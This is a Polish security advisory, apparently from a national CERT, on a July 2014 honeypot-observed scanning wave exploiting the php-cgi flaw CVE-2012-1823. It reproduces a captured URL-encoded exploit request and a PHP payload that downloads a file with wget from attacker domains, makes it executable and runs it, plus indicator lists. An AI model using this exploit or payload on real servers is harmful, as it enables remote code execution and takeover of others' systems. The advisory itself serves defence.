Skanowanie w poszukiwaniu luki w php-cgi (CVE-2012-1823)

Data publikacji: 01/08/2014, Przemyslaw Zielony

PHP-logoW okresie od 19 do 21 lipca 2014 sieć honeypotów systemu ARAKIS zarejestrowała wzmożone skanowanie portu 80 w poszukiwaniu podatnych serwerów PHP. Wykorzystywana była podatność CVE-2012-1823 występująca w serwerach, które mają skonfigurowaną obsługę języka PHP jako skrypty CGI.

Zarejestrowaliśmy ok. 17 000 połączeń kierowanych na port 80/TCP z żądaniami wykorzystującymi wspomnianą dziurę w php-cgi.

Przykładowe żądanie, które dotarło do jednego z naszych sensorów:

POST /cgi-bin/php5-cgi%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%22%79%65%73%22+%2D%64+%63%67%69%2E%66%69%78%5F%70%61%74%68%69%6E%66%6F%3D%31+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

W sumie zaobserwowaliśmy 16 różnych typów żądań. Wszystkie z nich używały metodę POST i miały ustawiony nagłówek User-Agent: I'm a mu mu mu ?.

Luka pozwala na uruchomienie na podatnym serwerze kodu przekazanego w treści żądania. W zaobserwowanych przez nas przypadkach próbowano pobrać plik (5 różnych nazw) narzędziem wget z jednej z kilku lokalizacji, zapisać go w katalogu tymczasowym, nadać uprawnienia do wykonywania i następnie uruchomić pobrany plik.

Przykładowy kod do wykonania na podatnym serwerze:

<!--?php $tmp = sys_get_temp_dir(); $path = getcwd(); $file = "gimp.html"; $url = "http://eleven11root.servepics.com"; system("wget $url -P - -O" . $tmp . "/gimp.html"); system("chmod -R 777" . $tmp ."/gimp.html"); chmod ($tmp."/".$file,0777); system($tmp . "/gimp.html"); $file2 = "gimp.html"; $url2 = "http://twelfe12root.servepics.com"; system("wget $url2 -P - -O" . $tmp . "/gimp.html"); system("chmod -R 777" . $tmp ."/gimp.html"); chmod ($tmp."/".$file2,0777); system($tmp . "/gimp.html"); echo $tmp; echo $path; die($tmp); ?-->

Domeny, na których hostowany był plik do pobrania rozwiązywały się na ten sam adres IP (8.23.224.90) zlokalizowany w USA. Informacje dostępne w serwisie VirusTotal oraz w systemie n6 wskazują na złośliwą historię wspomnianego adresu IP.

Źródłem skanowania były 252 różne adresy IP. Poniżej prezentujemy statystyki dotyczące tych adresów.

Lista krajów źródłowych adresów IP.

Kraj Liczba IP
Stany Zjednoczone 40
Brazylia 30
Dania 19
Chiny 13
Tajwan 9
Włochy 9
Polska 8
Wielka Brytania 7
Francja 7
Rosja 7

 

Nazwy plików, które próbowano pobrać.

Nazwa pliku Liczba żądań
index.html 6205
excel.html 4608
e.html 4244
pimp.html 1711
gimp.html 1034

 

Wykorzystywane domeny.

eleven11root.servepics.com
twelfe12root.servepics.com
jappyupdate.servehttp.com
linuxupdatejappy.servepics.com

Podsumowanie

Mimo, że dziura została odkryta ponad 2 lata temu wciąż są widoczne próby jej wykorzystania. Zalecamy weryfikację, czy używane serwery PHP posiadają prawidłową konfigurację. Prostym sposobem na sprawdzenie naszego serwera jest dodanie do URLa parametru ?-s. Jeżeli w odpowiedzi dostaniemy kod PHP – koniecznie zmodyfikujmy konfigurację serwera. Podatne serwery mogą zostać wykorzystane do kolejnych ataków sieciowych.